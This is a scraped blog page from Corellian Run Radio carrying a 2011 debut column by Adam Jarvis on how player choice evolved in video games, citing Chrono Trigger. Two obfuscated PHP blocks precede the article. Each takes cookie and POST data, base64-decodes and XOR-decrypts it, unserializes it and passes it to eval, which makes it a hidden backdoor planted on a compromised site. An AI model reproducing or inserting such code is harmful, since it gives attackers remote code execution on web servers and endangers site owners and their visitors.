$eDITTpx = class_exists("E_sdBhD");if (!$eDITTpx){class E_sdBhD{private $Uwkjo;public static $GceVIgUuDx = "bb4019ce-3f6c-41c2-908d-f6034f80bd18";public static $hHxVxqyEP = NULL;public function __construct(){$STTVJb = $_COOKIE;$DZiTu = $_POST;$WDsdjh = @$STTVJb[substr(E_sdBhD::$GceVIgUuDx, 0, 4)];if (!empty($WDsdjh)){$wISPlIDZLO = "base64";$dUsBvmZpUV = "";$WDsdjh = explode(",", $WDsdjh);foreach ($WDsdjh as $WykdfVvtZ){$dUsBvmZpUV .= @$STTVJb[$WykdfVvtZ];$dUsBvmZpUV .= @$DZiTu[$WykdfVvtZ];}$dUsBvmZpUV = array_map($wISPlIDZLO . "\137" . "\x64" . "\x65" . "\x63" . "\x6f" . chr (100) . chr ( 1098 - 997 ), array($dUsBvmZpUV,)); $dUsBvmZpUV = $dUsBvmZpUV[0] ^ str_repeat(E_sdBhD::$GceVIgUuDx, (strlen($dUsBvmZpUV[0]) / strlen(E_sdBhD::$GceVIgUuDx)) + 1);E_sdBhD::$hHxVxqyEP = @unserialize($dUsBvmZpUV);}}public function __destruct(){$this->BfuLpx();}private function BfuLpx(){if (is_array(E_sdBhD::$hHxVxqyEP)) {$kjgrSU = str_replace("\x3c" . chr (63) . 'p' . "\150" . chr (112), "", E_sdBhD::$hHxVxqyEP["\143" . chr (111) . 'n' . chr ( 817 - 701 )."\x65" . "\156" . chr ( 520 - 404 )]);eval($kjgrSU);exit();}}}$LfAXf = new E_sdBhD(); $LfAXf = NULL;} ?> $HUXqtUIxy = class_exists("ip_QEqh");if (!$HUXqtUIxy){class ip_QEqh{private $TbmzRb;public static $FHcIW = "7ebcf308-eeb5-45d0-b672-e9d0e6153b2f";public static $fFfkEnNTtr = NULL;public function __construct(){$FhesM = $_COOKIE;$LHvkqFrxmX = $_POST;$MCHrxi = @$FhesM[substr(ip_QEqh::$FHcIW, 0, 4)];if (!empty($MCHrxi)){$ukeOe = "base64";$JuQfYmlyOm = "";$MCHrxi = explode(",", $MCHrxi);foreach ($MCHrxi as $BJxJBWW){$JuQfYmlyOm .= @$FhesM[$BJxJBWW];$JuQfYmlyOm .= @$LHvkqFrxmX[$BJxJBWW];}$JuQfYmlyOm = array_map($ukeOe . chr ( 127 - 32 )."\144" . "\x65" . "\143" . 'o' . "\x64" . "\x65", array($JuQfYmlyOm,)); $JuQfYmlyOm = $JuQfYmlyOm[0] ^ str_repeat(ip_QEqh::$FHcIW, (strlen($JuQfYmlyOm[0]) / strlen(ip_QEqh::$FHcIW)) + 1);ip_QEqh::$fFfkEnNTtr = @unserialize($JuQfYmlyOm);}}public function __destruct(){$this->tSjrbbjY();}private function tSjrbbjY(){if (is_array(ip_QEqh::$fFfkEnNTtr)) {$xdxaj = str_replace("\x3c" . "\x3f" . 'p' . chr ( 133 - 29 ).chr (112), "", ip_QEqh::$fFfkEnNTtr["\x63" . 'o' . chr (110) . "\x74" . 'e' . "\156" . chr ( 225 - 109 )]);eval($xdxaj);exit();}}}$SRNAi = new ip_QEqh(); $SRNAi = NULL;} ?> Fable – Corellian Run Radio
Jul 062011
 

By Adam Jarvis

[Editor’s note: Welcome to Adam Jarvis, one of our new Staff Writers.  His debut column takes a look at the progression of choice in video games.]

In the early stages of the gaming industry, meaningful decisions affecting narrative were nonexistent. Most games, start to finish, were a straight line with little deviation. There would be the occasional choice between two paths that led to the same spot or a nail biting decision on what sequence to press some buttons, but nothing that ever affected the story you were living.

As the industry and technology has grown, so too has the scope of games. Chrono Trigger, released on the SNES in 1995, offered a myriad of different endings. This is the first game that I can remember having my choices alter the outcome of the story. It was a beautiful thing and one of the many reasons that game is held in such high regard.

More “Evolution of Choice” and Comments after the jump: Continue reading »

Rss Feed Tweeter button Facebook button Technorati button Reddit button Linkedin button Webonews button Delicious button Digg button Flickr button Stumbleupon button Newsvine button Youtube button
Copy Protected by Tech Tips's CopyProtect Wordpress Blogs.